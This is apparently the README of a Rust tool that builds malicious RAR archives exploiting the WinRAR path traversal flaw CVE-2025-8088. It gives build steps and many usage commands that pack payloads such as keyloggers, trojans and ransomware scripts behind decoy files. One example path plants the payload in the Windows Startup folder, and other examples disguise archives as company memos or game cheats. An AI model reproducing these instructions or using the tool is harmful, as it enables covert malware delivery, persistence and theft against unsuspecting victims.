一个高性能、内存安全的WinRAR CVE-2025-8088漏洞利用工具实现,用Rust重写以提高可靠性和性能。
高级 WinRAR 路径遍历漏洞利用工具 - 使用 Rust 编写
一个高性能、内存安全的 WinRAR CVE-2025-8088 漏洞利用工具实现,使用 Rust 重写以提高可靠性和性能。
# Install Rust using rustup
# Verify installation
rustc --version
cargo --version
# Using vcpkg
vcpkg install gtk:x64-windows
pacman -S mingw-w64-x86_64-gtk4
# Navigate to the rust project
cd winrar_exploit_rust
# Build in debug mode
cargo build
# Build optimized release
cargo build --release
# Run the application
cargo run --release
创建一个包含 payload 和诱饵文件的简单漏洞利用:
# Create exploit with executable payload
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "exploit.rar"
# Create exploit with script payload
.\winrar_exploit_rust.exe create --payload "C:\malicious.ps1" --decoy "C:\document.pdf" --output "malicious.rar"
# Use multiple decoy files separated by commas
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\photo.jpg,C:\document.pdf,C:\video.mp4" --output "multi_decoy.rar"
# Specify custom directory where payload will be placed
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "custom_drop.rar" --drop_dir "C:\Users\Victim\Desktop"
# Image payload (steganography)
.\winrar_exploit_rust.exe create --payload "C:\malicious.jpg" --decoy "C:\innocent.txt" --output "image_exploit.rar"
# PDF payload
.\winrar_exploit_rust.exe create --payload "C:\trojan.pdf" --decoy "C:\readme.txt" --output "pdf_exploit.rar"
# Batch script payload
.\winrar_exploit_rust.exe create --payload "C:\ransomware.bat" --decoy "C:\instructions.txt" --output "batch_exploit.rar"
# Run system diagnostics to check compatibility
.\winrar_exploit_rust.exe diagnose
# Show available tools and features
.\winrar_exploit_rust.exe tools
# Create a malicious document that looks like a company memo
.\winrar_exploit_rust.exe create --payload "C:\keylogger.exe" --decoy "C:\company_memo.pdf" --output "important_memo.rar"
# Hide malware in a game cheat file
.\winrar_exploit_rust.exe create --payload "C:\trojan.exe" --decoy "C:\game_cheat.txt,C:\screenshot.jpg" --output "cheats.rar"
该工具使用以下方法创建带有路径遍历的 RAR 归档:
路径示例:..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
winrar_exploit_rust/
├── src/
│ ├── main.rs # Application entry point
│ ├── gui.rs # GTK-based user interface
│ ├── exploit.rs # Core exploit logic
│ ├── ads.rs # NTFS ADS manipulation
│ ├── rar.rs # RAR5 header manipulation
│ ├── diagnostics.rs # System diagnostics
│ └── error.rs # Error handling
├── Cargo.toml # Dependencies and build config
└── README.md # This file
该工具包含自动诊断,检查以下项:
"未找到 GTK"
# Install GTK development libraries
# Windows (vcpkg)
vcpkg install gtk:x64-windows
# Or using MSYS2
pacman -S mingw-w64-x86_64-gtk4
"未找到 WinRAR CLI"
rar.exe 位于 Program Files 中"无法写入启动目录"
"不支持 NTFS ADS"
编译错误
# Update Rust toolchain
rustup update
# Clean and rebuild
cargo clean
cargo build --release
# Format code
cargo fmt
# Lint code
cargo clippy
主要依赖包括:
gtk - 现代 GUI 框架tokio - 异步运行时windows - Windows API 绑定crc32fast - 快速 CRC32 计算byteorder - 字节序操作anyhow - 错误处理本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
由 Telegram 上的 @kanonufo 制作
用于 CVE-2025-8088 漏洞利用的高性能红队工具 - Rust 版本